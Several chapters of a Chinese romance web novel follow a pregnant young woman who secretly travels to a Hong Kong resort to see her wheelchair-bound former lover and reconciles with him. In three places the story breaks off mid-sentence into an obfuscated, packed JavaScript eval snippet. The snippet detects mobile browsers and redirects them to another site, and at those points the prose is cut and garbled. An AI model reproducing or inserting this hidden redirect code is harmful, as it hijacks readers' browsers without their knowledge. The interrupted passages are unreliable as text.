就两个字:活着。 她犹豫了半天,还是退出来了,没有选择加好友。 她知道李长尽没事了。 没事就好啊,只要他活着,比什么都好。 很快冬天就来了,老家下了好几天的大雪,姜金驰放假回来了,带着林想来家里玩,看到姜迟夏怀孕之后,林想也是吓到了,知道来龙去脉之后,林想觉得她疯了。 姜迟夏觉得无所谓了,这个孩子会成为她和李长尽唯一的联系。 玩了几天,姜金驰送林想回去了,张兰英在院子里铲雪,她穿着厚厚的羽绒服,在家门口和舅舅家的三个小孩子堆雪人,堆着堆着,她突然很想李长尽。 时间过得太快了,半年转瞬即逝,恍若如梦,好像什么都没变,又好像什么都变了。 她总是想起李长尽,吃饭,睡觉,堆雪人……她堆了一个雪人,给它围上围巾,然后指着它的鼻子骂。 “你真不是人啊,也就我能这么忍你了,这世上除了我,谁还敢喜欢你?” 骂了一会儿之后,又有点想哭,她坐在了一边,看着三个小孩嬉闹,拿出了手机,发了半年以来的第一条短信。 不知道他还有没有用那个号码,可她真不知道该怎么倾诉自己对他的想念。 太想他了。 发了两条短信,并没有得到回复,她便知道李长尽不用那个号码了。 她安心了,每天给那个号码发一两条短信,假装他能看到,她也沉浸在自己的世界里,不太想清醒。 张兰英看她总是大着肚子坐在门口,时常提醒她,“夏夏,回屋,多危险。” 姜迟夏哦了一声,起身回屋。 她长得瘦小,所以这半年的肚子,即使显怀,在羽绒服的遮掩下,也看不出什么来,有的人就是这样,都快生了,肚子也没那么大。 她的预产期在明年四、五月份。 等过完年,她要准备当妈妈了。 姜金驰把林想送回家之后又回来了,他得到了一点李长尽的消息。 姜迟夏其实并不想知道他在哪,知道了也没用。 可姜金驰说,“他一定很绝望吧,彻底站不起来了。” 姜迟夏听到他这话,一颗心被狠狠地重击到,她问姜金驰,“你听谁说的?” 姜金驰说,“杨白霜和贺知临又在一起了,我和林想跟他俩吃了顿饭,贺知临说起长尽哥,说他现在彻底废人一个了,去了港城,他在港城有个度假村,去那边休养了,他没在北城,我其实想见他一面,我也很想他啊。” 从未得到过李长尽的消息,突然从姜金驰口中听到他的消息,她的心再次破碎。 当天晚上,她试着给李长尽打电话,电话打通了,但没人接。 她想着自己是不是打错了,李长尽真的不用这个号码了? 可是不用了,又怎么能打通?别人在用了吗? 她不知道,她打了一次,没人接,就再没打。 可她不知道的是,那坐在轮椅上的人,看着手机屏幕上显示的陌生号码,拿烟的手指都在发抖,好几次都想接起来,但刚要触碰屏幕的时候,又僵硬着手指拿开了。 直到电话响了几十秒后,归于沉寂,他坐在轮椅上,面对着一整片玻璃墙,玻璃墙外面的海景格外漂亮,已经是晚上了,海边都是人。 他们在海边生火,手挽着手一起跳锅庄舞,随后又是欢乐的尖叫声。 度假村到处都是亮着的装饰灯,即使不开灯,屋内也亮如白昼。 郭悠止看他在那里坐了一个小时了,想问他吃不吃东西,犹豫了半天,欲言又止。 已经晚上九点多了,他还是劝了一句,“少爷,不早了,早点休息,你的身体不能熬夜了。” 他没有回答,也没有情绪,就坐在那里,望着外面热闹的海滩,手里握着手机,好像在等什么。 他在那里等了半夜,再没有一个电话打进来。 直到郭悠止一觉睡醒,出来见他还在那里,推着他回屋,强行让他休息,他才艰难地爬上了床。 全身都疼,稍微动一下就跟骨头散架了一样,这种疼痛折磨的他每日每夜睡不着,经常被疼醒,一晚上醒来好几次,醒来后满身冷汗。 活过来了,可是还不如死了。 过了两天,姜迟夏做了一个大胆的决定,她教唆姜金驰,带她去港城玩儿。 她大半夜找姜金驰,给姜金驰吓了一跳。 姜金驰问她大晚上不睡觉干什么,姜迟夏小声地告诉他,“我想去港城看李长尽,但我不想让任何人知道,包括我妈。” 姜金驰被她吓到了,“你这个样子,能去?” 姜迟夏神秘兮兮道,“你带我去啊,我就是不方便才找你,你可别跟我妈说。” 姜金驰抓了抓头发,“可我俩哪来的钱?” 姜迟夏小声道,“我有,放心吧,你负责把我俩的签证办了,我请你去旅游。” 姜金驰震惊,“你哪来的钱啊?你毕业就一直在家,你怎么可能有钱?” 姜迟夏说,“反正我就是有,你去不去?” 姜金驰肯定想去啊,“真不跟妈说一声?她会担心的。” 姜迟夏摇头,“她要是知道肯定不让我去了,我俩走了再跟她说。” 姜金驰戳了一下她的脑袋,“你算是跟着长尽哥学好了,都当妈的人了,一点都没当妈的样子。” 姜迟夏也不反驳,“反正去不了几天,一个月就回了,等你上学肯定回来了。” 姜金驰答应她了,借着带她去产检的理由,偷偷去给他和姜迟夏办了港澳通行证,一个星期后,再次带着她去产检,拿了证姐弟俩就走了,轻装上路,姜迟夏说证件拿好就行了,东西拿多了会被妈发现。 需要什么东西,直接到了那边之后再说。 没有直飞港台的飞机,他俩坐飞机到了祖国最南边,转高铁,大约一个小时就到港城了。 一场说走就走的旅行,张兰英知道的时候,他俩已经在南边了。 又给妈差点气死,张兰英在电话里怒骂姐弟俩,姜金驰把责任推给姜迟夏,“我不想出来,她非要拉我出来,说她想去旅游你不让,就把我拉出来挨骂。” 张兰英真被姜迟夏气无语了,“一个孕妇,天天到处跑,把自己当超人了。去哪里旅游了?” 姜金驰实话实说,“港城。” 张兰英一听,这两家伙早就预谋了,她并不知道李长尽在港城有个度假村,所以也没多想,一边怒骂一边让他俩注意安全。 成功躲过一劫,姜金驰舒口气,“反正我是不敢回家了,我妈那竹条抽人可疼了。” 姜迟夏让他找路线,别废话了。 姜金驰知道那个度假村的名字,名字很好听,叫心月湾。 他在地图上一搜,还挺远的,天色不早了,他先带姜迟夏找住的地方,找到住的地方后,他让她歇着,他跑出去给他俩买衣服买吃的。 港城太暖和了,他俩穿太厚了,又怕姜迟夏生病感冒,姜金驰也算是遭受了一次被孕妇支配的磨难。 他真佩服他姐,为了一个李长尽,什么都不顾了。 姐给他转了钱,他去附近的商场溜达了一圈,给他俩买了薄一点的衣服和鞋子,回去酒店洗了之后,挂起来,一晚上基本能干,第二天能穿了。 他给姜迟夏买了两件长袖连衣裙,长度到脚踝的。 买了大两码的,很宽大,能遮住她的肚子,他姐人瘦,即使怀孕半年了,肚子也没多鼓,穿上宽大的衣服,孕肚也不明显。 晚上吃完饭,姜迟夏洗澡的时候,姜金驰就在外面守着,生怕她洗出个好歹来。 姜迟夏让他别担心,他可不敢掉以轻心,万一出什么事,那就是他的麻烦。 看着姐平安无事从浴室出来,吹干头发爬上床,他才去自己的房间,他叮嘱姜迟夏把门锁好,有事就给他打电话,他就在隔壁。 姜迟夏都应着。 港城物价都高,姜迟夏心想,幸好李长尽的那二十万她之前没花,不然这次压根不可能出来。 她就是来看看他,知道他身体好着就行了,其它的再不想了。 远远看看就行,她也不敢出现在他面前,反正度假村人是满的,她上网看了一眼,心月湾度假村的酒店几乎没有空房,价格依旧高得离谱。 这是一个高端度假村,和一般的还不一样。 有钱人都往这里跑。 这是一个旅游旺季。 翌日继续出发,姜金驰买了一个旅行包,把他和姜迟夏的衣服都装进去,他背着。 他穿着一身休闲服,他姐穿着宽大的花裙子,戴着遮阳的夸张帽子,一副要去海边度假的样子。 后来姜金驰才知道,他姐穿的那裙子,还有个名字,叫沙滩裙。 中午的时候,他们到了心月湾附近,发现心月湾到处都是人,海滩上人山人海。 各种穿着比基尼和泳衣的美男美女,开了眼了。 姜金驰感慨,“不出来一趟,永远不知道别人过得多好。” 姜迟夏问他,“你确定李长尽在这里?” 姜金驰不确定,“贺知临说的,我也不知道,我又联系不到他。” 姜迟夏有点怀疑,但到了心月湾之后,她还是搜了一下附近的酒店,发现还是心月湾里面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914935|134778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒店稍微便宜点。 最便宜的一晚上一万人民币了,她心痛又肉痛,带着姜金驰先去找住的地方,把东西先放下。 心月湾的酒店竟然也叫长生,姜迟夏看到那两个字的时候,就知道这是李长尽的产业。 她拉着姜金驰进了富丽堂皇的酒店,看着那些房间的价格,她咬了咬牙之后,定了一间18888的套房。 姜金驰给她竖大拇指,“姐姐牛掰,住得起这么贵的套房,你老实说,长尽哥给了你多少钱?” 姜迟夏云淡风轻,“没多少。” 姜金驰不信,“没多少你还这么奢侈?几千块钱的不能住,住两万的?” 姜迟夏说,“既然来了,就玩开心点,不要在乎这些。” 姜金驰当然在乎,他没钱啊! 于是姐弟俩住在了一个套房里,姜迟夏住卧室,姜金驰住客厅。 但不得不说,套房装的很好啊,和普通酒店真的不一样。 没有什么异味,落地窗正对着海岸,从这个角度望去,还能看到海港上的豪华邮轮。 阳台上还有观景用的休息区,放着几盆名贵的花卉。 姜金驰感慨,“以后我要是能拥有这样一套房子,人生也算圆满了。” 姜迟夏去洗手,她让姜金驰去看看酒店有什么好吃的,她饿了。 姜金驰只得去看看,酒店一份饭菜都几百块钱了,姜金驰感慨,这就是有钱人玩的景区。 他给姐买了份米饭,一份甜品,他吃过早餐了,不太饿。 姜迟夏真饿了,快速解决了一份饭之后,就开始犯困了。 姜金驰问她,“你这个时候要睡觉吗?不去找人?” 姜迟夏困得不行,“睡醒了再找,不过你可以去前台问问,他们肯定知道李长尽在哪里。” 姜金驰一愣,“这是长尽哥的产业吗?” 姜迟夏点头,“大概是的,你去问吧,我等你。” 姜金驰哦了声,还真去问了,但别人怎么可能轻易告诉他李长尽的行踪,自然什么都没问出来。 他回去时,他姐已经睡得不省人事,他就没打扰,准备拍个照装个逼,发朋友圈。 他去外面的海景阳台自拍,身后是远处海面上的豪华邮轮,他把定位调好,发了朋友圈。 配的文字是:[诗和远方。] 林想看到了,直接发微信问他,怎么跑去港城了。 姜金驰还没装完就被迫熄火,和林想打了会儿电话。 姜迟夏一觉睡醒傍晚了,港城的夕阳正从落地窗照进来,屋内被镀上一层鎏金。 她伸了个懒腰,从卧室出去,姜金驰在沙发上睡觉,姜迟夏没理他,去洗了把脸,刷了牙,整理了一下自己。 随便涂了点防晒霜,打开手机,发现张兰英发消息了,还给她转了两万块钱过来,姜迟夏心里暖暖的。 [谢谢妈妈,回去让你揍我。] 张兰英的语音发了过来,“揍你都算轻的,无法无天。” 姜迟夏对于母亲的责备已经很冷静了,妈怎么骂都无所谓。 傍晚的海风有点凉,姜迟夏把姜金驰叫醒。 姜金驰饿了,他不情不愿起来,摸了摸肚子,去了一趟厕所,出来喊姜迟夏去吃饭。 姜迟夏不太饿,但还是跟着他去吃饭了,姜金驰找了一圈没找到便宜的,也吃了一份几百块钱还吃不饱的饭。 这会儿人尤其多,海滩上好热闹。 六点以后,沙滩上还有卖比基尼和泳衣的。 姜金驰问姜迟夏,“你要不要买个泳衣穿?” 姜迟夏拒绝,“我不太喜欢露着肉。” 姜金驰说,“你看那些女孩都穿着比基尼,身材真好啊,我靠,有眼福了。” 姜迟夏警告他,“把你那双破眼睛管着点,小心我告诉你女朋友。” 姜金驰在前面跑了,姜迟夏在后面跟着,长发被海风吹起,身上的沙滩裙被风吹着贴在身上,才露出她有点圆鼓鼓的肚子。 不过很晚了,没人注意她,她在沙滩上走了会儿,平底凉鞋里进了沙子,她就把鞋子脱了,提在手里。 姜金驰已经跑到海水里去了,她找了个地方坐下来,周围真的很热闹。 男女嬉闹的声音格外喧嚣。 她四下看了看,也不知道李长尽在哪里,她又没有他的电话号码。 即使来到了这里,她发现想要找到李长尽也不是一件容易的事情。 正四下望着,突然瞥见一个坐着轮椅的身影从海滩的另一边走来,有人帮他推着轮椅。 姜迟夏心里一窒,她手放在额头,眯了眼朝着那边望去,距离有点远,并不能看清楚他的全貌。 但她隐约觉得那身影熟悉,姜迟夏忽而心如擂鼓,她静静地注视着那边的身影,直到他慢慢靠近了,从正对着她的位置要穿过去时,她才看清楚了他的样子。 李长尽。 身后推轮椅的是郭悠止。 她感觉空气一瞬间都凝固了一样。 静静地注视着他从不远处越过了她。 他没看到她,也没发现她。 也是了,她这个打扮,亲妈都认不出来。 没认出来好啊。 她用力呼吸好几下,一直望着他的背影慢慢远去,却怎么都收不回视线。 直到那身影突然停下,本来要离去的人,突然转头朝她这边望过来。 63. [来找我] 狗比李长尽,啥…… 姜迟夏赶紧收回了视线,看向了大海,伸手将自己脑袋上夸张的遮阳帽戴好,心无旁骛。 她感觉心跳好快,快到有种随时会得心脏病死去的感觉,她尽力平复自己的心跳,稳住情绪。 轻轻地吐了几口气,才不至于冲动到想上去找他,过了会儿之后,她再次偷偷转头去看,那身影已经消失在沙滩上了。 他并没有发现她。 郭悠止把李长尽推回房间,问他晚上想吃什么,他说不想吃,兀自转动轮椅去了阳台。 他平时并不喜欢在阳台待着,可今天却去阳台坐着,一直望着沙滩的方向,也不知道在看什么。 郭悠止看了会儿之后,也就没打扰他,即使他说不吃饭,郭悠止还是要吩咐酒店的厨师给他做点晚饭,他午饭都没怎么吃。 郭悠止刚要走,李长尽突然叫住他,“郭管家。” 郭悠止几步上前,“少爷有什么事可以直接说。” 他抓着轮椅扶手的骨节有点泛白,“你去前台把今天登记开房的人名册给我看一下,直接发我微信上。” 郭悠止问,“从早到晚的吗?” 李长尽轻声应着,“对。” 郭悠止便去办了,酒店虽然每天都有人入住,但大多数都是一住好几天的,所以每天入住酒店的人并不是很多,当天开房的人一查就查到了。 今天从早到晚开房的人也就二十多个,但开的多数都是豪华套房,郭悠止让前台把那些人的名字整理出来,又微信问李长尽:[证件号码也全部发给你吗少爷?] 李长尽回他:[名字就行,证件号码不要。] 郭悠止便将登记名册整理好发给了李长尽,整理名册的时候,他才发现里面有一个熟悉的名字。 姜迟夏。 郭悠止看到这个名字时也是愣住了。 将名册发给他之后,他再没回复。 郭悠止去厨房吩咐了晚上的饭菜,上去找他。 他在三楼。 “少爷,你是不是看到谁了?” 李长尽没回答,让他出去,他想自己待会儿。 郭悠止见他情绪不佳,便也不烦他了,离开了他的房间。 他手里拿着手机半天,摸出打火机和烟来,点了一根。 在烟雾迷蒙中,眺望着海滩的方向。 他还以为看错了,她怎么跑这里来了? 是来找他的? 不是吧,如果是来找他的,又为什么看到他了,还不理他? 他不知道。 正想着,手机震了一下,他低眼看了看,又是那个号码发来了短信。 他伸手划开。 [李长尽,我今天看到你了,郭管家推着你,你说你这人是不是作死?总是用你自己的命威胁别人,你以为谁会在乎?你爸要是不爱你,你死了都没用。] 他毫无情绪。 紧接着又来了一条。 [没人会因为你的死而伤心,除了在乎你的,我是那个最惨的,莫名其妙怀了孕,本想好好生下来,结果转眼孩子他爸不想活了,我是真惨啊,认识你我是真倒霉。] 李长尽,“……” [我妈说的一点都没错,可惜我领悟太晚了,但无所谓了。看到你还活着我就放心了,虽然看起来很惨,但都是你自找的,这就是你自私的代价,下半辈子好好受着吧,我才不会同情你。] 李长尽,“……” [伤还会不会疼啊?其实我很想你,看到你的时候,我很想上去抱抱你,但你不愿意看到我,我也就没去,我来也只是为了看你一眼,过两天就走了,你没事就行了。] 他眼眶微酸,海风吹来,他望向了海面,眼神沉静。 - 姜金驰发现姜迟夏一点都不着急找李长尽,他疑惑地问他姐,“你来这里其实是玩的吧,并没有想找长尽哥?” 姜迟夏态度淡然,“不找了,玩几天回家了,快过年了。” 姜金驰不太想走,“我还没玩够,这里真好啊,一点都不冷,一想到回去我还要铲雪,我就不想回去了。” 姜迟夏说,“你不回去也得回去,我快没钱了,消费不起啊,有钱人的生活太奢侈了,咱还是走吧。” 姜金驰问,“那还在这里待几天?” 姜迟夏说,“最多三天。” 这三天里,她每天傍晚都会出去海滩上玩,等着李长尽出现,前两天他再没出现,最后一天傍晚时分,姜迟夏发现他在距离她百米的地方,望着大海。 他在看海,她在看他。 姜金驰穿着泳衣在浅海里和一群女孩嬉闹,姜迟夏觉得自己要是林想,会被姜金驰气死。 好在林想并不在。 这晚的李长尽在海滩上待的挺久的,姜迟夏也就坐着没动,天黑之后,海风大了起来,她穿的有点单薄,感觉到了冷。 李长尽还坐在那里,姜迟夏心想他今天怎么在那里坐那么久? 直到姜金驰也冷得不行,从海水里出来两只手搓着胳膊,让她快点回去时,她才看到郭悠止过去将他推走了。 姜金驰还是没看到他,姜迟夏想提醒他一下,但想了想,还是算了。 以姜金驰的脾气,看到李长尽的第一时间就得冲上去,她忍住了。 准备明天离开了,李长尽给她的二十万,她也花在了长生酒店,就当还给他了吧。 消费太高,奢侈不起。 其实这里的价格比起北城,还算平价了,最起码这里的酒店她能住得起,但北城的长生酒店她住不起,三十万起步,也不知道有没有低价的。 她回去洗个了澡之后就躺床上去了,准备好好睡一觉回家了,以后都不想李长尽了。 他会好起来,继续做他的人上人。 自私自利的豪门掌权人。 横竖不会和她有瓜葛,她这个孩子也不会认李长尽。 她会一个人带大的。 躺床上之后,她关了灯,在黑暗中看着天花板。 如果不拉窗帘的话,外面的灯很亮,整个度假村就没暗沉过。 海滩上的人群嬉闹声还在继续,她拿了手机来,发了最后一条短信。 [明天我就走了,希望你以后都能平平安安,来看过你,我也安心了,我以后再也不会想你了,晚安。] 她将手机放在床头柜上,抱着被子准备睡觉,却怎么都睡不着,翻来翻去半天之后,她又从床上爬起来。 姜金驰还在外面电竞房里打游戏,戴着耳机打的热火朝天,姜迟夏出门了他都没发现,她是真睡不着啊。 不知道为什么,心里就是很慌,她又出了酒店,去了沙滩。 她沙滩裙外面穿了厚衣服,沙子又钻了一凉鞋,她走到距离海面比较近的地方坐下来,听着海浪的声音。 心里稍微有点好受了,豪华邮轮上的灯光很亮,能看到甲板上人来人往,别人的夜生活才刚开始。 姜金驰打完游戏发现他姐不见了,他还以为她睡觉了,结果卧室的门开着,他姐不知去向,姜金驰吓得赶紧给她打电话。 姜迟夏接起来电话之后,姜金驰就是一顿臭骂,“你他妈大晚上出去不跟我说一声啊?我还以为见鬼了?这几点了你还往出去跑?在哪里啊?” 姜迟夏让他冷静一点,“我就是睡不着出来透透气,在海滩上,坐着呢,放心吧,我不是李长尽,我可不会做什么伤害自己的事情,你别担心了。” 姜金驰叹息一声,“本来就是来找他的,结果来了也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜迟夏说,“太正常了,他要是不极端就不是李长尽了,从小就那样,只考虑他自己乐不乐意,不顾别人死活。他做什么我都觉得很正常,神经病一个。” 姜金驰问,“知道是个神经病你还跟他睡?还跟他谈恋爱?” 姜迟夏脸色微黑,“可能我也是个神经病吧。” 姜金驰,“……” 海风有点大了,姜金驰起身拉她起来,“回去了,这晚上的风还是很冷的,你再舍不得咱们都得走,玩够了得回家了。” 姜迟夏哦了一声,被姜金驰拉着往回走。 回到酒店去,洗了洗手和脚,躺床上还是睡不着。 她拿出手机来,想刷刷视频或者看会儿电视再睡。 结果有个未读信息。 她点开看一眼,霎时倒吸一口凉气。 她以为李长尽不用了的电话号码竟然给她回消息了! 就两个字:[别走。] 姜迟夏懵了,那她发出去的那些短信,他都收到了? 收到了不回复? 她还给他打了一次电话,他也没接? 这么绝情的? 姜迟夏瞬间生气了。 [死远点,狗比李长尽,我要是再跟你和好我就是狗,啥也不是!你以为我会眼巴巴等着跟你和好吗?不可能,你这种人就适合孤独终老,好好享受你苦难的人生吧。] 这狗东西明明收到她的短信了,还一个都不回复。 行,她白来一趟。 她明天一大早就走。 气的都想摔了手机。 还没摔,他又回了三个字。 [来找我。] 姜迟夏忍着加速的心跳,缓一缓情绪。 [不找,你不配。] 64. 拥抱 没理会她的怒气和拒绝,他自顾自发了他的位置过来。 [我在观景台三楼,从你住的地方穿过三个别墅区,郭管家在一楼等你。] [我凭什么去?你也没打算见我,我去了能干什么,不去。] [我想见你。] [你不配。] [快点。] 姜迟夏第一时间没动,虽然真的很想去见他,但她也不是没脾气。 李长尽的所作所为完全没有为她想过,他可以跟他爸赌气去寻死,却没想过她怀着一个孩子以后要怎么过。 当然了,他寻死也是因她而起,但这种行为只会让她背负更多的罪恶感罢了,哪有人会为了爱情去死啊? 她是真的不能理解把爱情当成一切的人,李长尽就是这种人,他爸不同意这门婚事,他就以死威胁,那么聪明的一个人,在这件事上简直蠢得要命。 好像就没其它方法了,非要用死来表明自己的决心。 姜迟夏是真不敢再靠近他了,好不容易活过来,要是再死一次,她也别活了。 她没去找李长尽,一直忐忑到了深夜,外面已经安静了下来,夜里的凉意袭来,她卷了卷被子,看了一眼手机,已经午夜十二点了。 她想着这会儿李长尽应该睡了,她并不打算见他了。 李长尽怎么发现她的?难不成那天傍晚在沙滩上看了一眼,他就认出她了? 这么厉害的? 她不是遮的挺严实? 不知道,很玄学。 她毫无睡意,也不敢摸手机。 正纠结着,放在床头柜上的手机振动起来。 她拿来看了一眼,李长尽打来的电话。 她迅速从黑暗里爬起来,靠着床头坐好,忐忑了半天,也不知道该不该接。 电话响了几十秒,她没接,挂断了。 随后又打了过来,姜迟夏叹息一声,等响了三十秒的时候,她才按下了接听键。 她没说话,那边也没说话。 姜迟夏的心情还是有点紧张的,大半年没见他了,也没听到过他的声音。 大半年能缓过来也还算命大,听李长愠说,全身粉碎性骨折,病危通知书都不知道签了多少个。 她缓了缓心中的窒痛感,终于还是没忍住先开口了,“打电话干什么?” 他在那边没说话,姜迟夏听着他的呼吸声,实在心慌,“不说话我挂了。” 他这才悠悠开口,声音低沉,显得有些无力,“过来找我。” 姜迟夏轻轻地拍着自己胸口,“找你干什么?你不是不要我了吗?” 他没说话,就沉默着。 姜迟夏问,“让我去找你,是还想跟我和好吗?” 他依旧没说话,还真是让人煎熬。 姜迟夏索性把电话挂断了。 “不说话拉倒,谁都得惯着他的脾气。” 刚想扔下手机,电话又打过来了。 姜迟夏缓了缓情绪,再次接起来。 “有什么话一次性说完,怎么回事?自己撞大货车,把自己撞哑巴了?” “……” “你想过人家货车司机没有,平白无故背上一条人命,心理阴影面积多大?” “……” “又不说话,不说挂了。” 听她又要挂电话,他终于开口了。 “过来,我等着你,过来你再骂吧。” “不去,我不准备跟你和好了,李长尽,我真的很害怕,你好不容易活过来了,要是再因为我出点差错,我一辈子别安生了。” “你自己来找我的。” “是我自己来找你的,也只是为了确认你好着没,既然没事了,我就不见了。” “你都没看我,你怎么知道我好着没。” “我看你坐轮椅坐的很踏实啊,这不就是好着吗?” “……” “以前的时候一条腿废了,你自怨自艾,现在好了,两条腿都废了,真不错啊,坐轮椅上你就踏实了。” “我都这么惨了你还骂我,都不知道安慰一下。” “你这种人有什么好安慰的,你压根不需要别人安慰,为了赌气连命都不要的人,哪里需要我的安慰。” “需要。” “没心情安慰你,我自己都惨着呢。” “那你来,我安慰你。” “不需要。” “快来吧,我真不方便去找你,麻烦你劳驾来找我,我看看你就好。” “看了然后呢?” “然后你就回家。” “哦,那我不去了。” “姜迟夏。” “干嘛?” “你还想跟我在一起?你没跟姓郑的走吗?” “……” 她沉默了,不知道怎么回答。 那肯定想和他在一起,可是没机会了不是吗? 她否认,“没有。” 他自顾自话,“没喜欢过我,为什么来跑来看我?” 姜迟夏听到这里,是真无语了,她挂了电话。 原本不打算去找他的,但为了这一句,她觉得还是过去扇他两巴掌比较好。 她起身穿好衣服,披上厚羽绒服,打开卧室的门,姜金驰已经睡熟了。 姜迟夏蹑手蹑脚地出门,拿了房卡,将门缓缓关起来。 下了楼,穿过几个别墅区,来到观景台的别墅区,前台服务员看了她一眼,问她开房还是找人,她回答,“找李长尽。” 前台将她上下扫了扫,“这个时候找李总?你不会是……李总让你来的?我们这里拒绝黄赌毒,会报警的。” 姜迟夏,“……”刚想解释什么,郭悠止下来了。 郭悠止看了她一眼,告诉前台,“李总朋友,我带她上去。” 那前台哦了一声,还是疑惑不已,还是第一次见深夜有女人找李总。 姜迟夏穿着沙滩裙,上面套了羽绒服,海湾的风还是比较冷的。 她跟着郭悠止上了三楼后,郭悠止就走了,姜迟夏进了三楼观景套房,客厅的灯关着,昏昏暗暗的。 她扫视了一圈,没在客厅里看到人,刚想着他在哪里,就听到外面阳台传来声音。 “我在这。” 姜迟夏几步走过去,拉开玻璃门,见他大半夜还坐在观景阳台。 他坐在一个实木圆桌旁,旁边还放着两个小沙发,姜迟夏走过去坐在了其中一个上面,冷着眼打量他。 他也看着她的表情,半天没开口。 姜迟夏将他从上到下打量一番,“真废了?” 李长尽,“……”还真是一点都不遮掩,口无遮拦,别人在他面前可从不敢提“废了”两个字,姜迟夏是一点都不忌讳啊。 他低垂眼睫,好似毫无情绪,“嗯,废了。” 姜迟夏点头,“你厉害,得亏你家有钱,不然你这种情况,在我们农村只能等死了。这辈子媳妇都讨不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他抿着薄唇低着头,又不说话了。 姜迟夏问他,“后悔吗?因为你一个举动,你自己废了,孩子也没了,后悔吗李长尽?” 他依旧没答话,但薄唇都在发抖,好像说什么都是错,索性不说了。 姜迟夏看他一副要死了的样子,无奈叹息一声,躬身一把抓住他的手。 他被吓到,这才抬眼,姜迟夏看到他泛红的眼尾,眼神都带了无措。 他看着她的眼睛,不知道她要干什么,姜迟夏拉着他的手,把他的手塞到了羽绒服底下的小腹上。 他隔着一层薄薄的布料,摸到了她圆鼓鼓的肚子,他吓得手指缩了一下。 原本无措的眼神,突然放亮了。 他愣愣地看着她,缓缓地又摸了上去,确实是圆鼓鼓的。 李长尽的心跳突然就快了起来,喉头滚了几下,一脸难以置信的样子,一双好看沉冷的眸,终于不那么冷静了。 “我的?” 姜迟夏把他的手拉出来,扔开。 “不是你的,野男人的。” “……”他忽而重重地出了几口气,胸口起伏好几下,转动轮椅移动到她身边,伸手抱她,他眼尾泛红,额头抵在了姜迟夏肩上,声音都在发抖,“夏夏,我错了,我以后再也不会那样做了,你原谅我。” 姜迟夏怎么可能恨他,有多心疼只有她自己知道。 她自己的男人,她不爱谁爱,她不心疼谁心疼。 可是有什么用,李长尽又不在乎她的死活。 姜迟夏使劲推他,“我又没打算让我孩子认你,孩子是我一个人的,跟你没关系。” 李长尽摇头,抱着她的胳膊紧了紧,委屈巴巴,“我俩生的,肯定跟我有关系,别不认我。” 65. 抱紧我 失去他的消息半年多了,天知道这半年她是怎么过的,虽然表面上要假装什么都没发生,但只有她知道自己在夜里哭了多少回,她都不敢在妈面前哭,妈老早就警告过她,哭的时候别找妈。 可李长尽出事了,她哭的时候不找妈找谁,即使这样,依旧不敢在妈面前哭,是她自找死路,和李长尽在一起的。 李长尽出事后,妈还问过她,“你现在后悔吗?我以前警告你的时候你不当回事,你现在信了吧?长尽那孩子,我看着长大的,他什么脾气我真的太清楚了,我同意你俩在一起,但结果呢?” 姜迟夏哑口无言,只能保持沉默,怪她太年轻,不知天高地厚。 可是说什么都晚了,事情已经发生了,时间没法倒退。 妈又说,“他好不容易活过来了,你也就别再惦记了,撞一回南墙你就知道我说的是事实,不然你还以为我阻拦你们是想太多了。要不是李家有钱,李长尽这次必死无疑。” 经过这次事件她醒悟了,不再闹着要跟李长尽在一起了,哪怕她还怀着李长尽的孩子,她也不打算和李长尽和好。 这次来也只是想确定他好不好,见他没什么事了,她也放心了,虽然坐上了轮椅,看起来很惨,最起码还活的好好的,这就够了。 感觉到他抱着自己的双臂用了力气,姜迟夏叹息一声,“别抱了,我没打算跟你和好李长尽,我是认真的,孩子我会自己生下来,如果不是你看到我了,我都没打算让你知道这个孩子还活着。” 他没说话,抵在她肩膀上的脑袋有点重,她伸手推一下,“又不说话了,上次你突然消失,也没跟我说一声就寻死了,我是真怕这种事再来一遍,到时候真的谁都救不了你,我也不敢再和你有什么牵扯,今晚见过面之后,以后大家就都安分守己,各过各的,什么都别想了。” 他摇头,“不可以,我不同意。” 姜迟夏说,“你不同意没用,你只能在你家待着,你这个样子我是不可能照顾你一辈子的,我还有孩子要养,不想被你连累。” 李长尽,“……” 姜迟夏使劲推开他,“你这个样子,也就你家这种情况能养得起你,我反正养不起你这个病秧子,你就安心在你家待着,好好混吃等死,在轮椅上坐一辈子。” 他一句话也不说了,缓缓地放开她,后退一段距离。 姜迟夏起身要走了,“我明天早上就走了,你以后多保重自己,我也不想知道你在干什么,就这样。” 她抬步离开,他才慌了神,双手转动轮椅去追她,“姜迟夏。” 姜迟夏听到他急切的声音,在客厅中止步回头,“别追,这次大家就都冷静点,别再让这种事发生第二次,我背负不起你一条命,李长尽。” 他拉开玻璃门,轮椅过不去门槛,他努力扶着门站起来,“你先别走。” 姜迟夏看着他艰难地动作,心里真不知道什么滋味,“你还有话要说?” 李长尽扶着门框走进客厅,穿戴假肢的左腿抖的不像话,右腿打过钢板,也是一站就疼,没一会儿冷汗就下来了。 姜迟夏看了半天,最后还是返回去扶他,把他扶到沙发上坐下。 他拉住她的手,慌的要命,“别走,求你了。” 姜迟夏的心都要碎了,站在他面前低眼看着他半天,一直忍着的情绪终于忍不住,她看着他默默落泪,也不说话了。 李长尽拉着她的手,“对不起,真的错了,死了也还好,就不用想那么多了,可我没死成,既然没死,以后还要继续活着,我以为我的心是死的姜迟夏。” 她的眼泪越掉越多,“然后呢?” 他抬眼在昏暗的光线中看着她落泪,抬手给她擦眼泪,“可是看到你,我又活过来了,我还是会痛啊。” 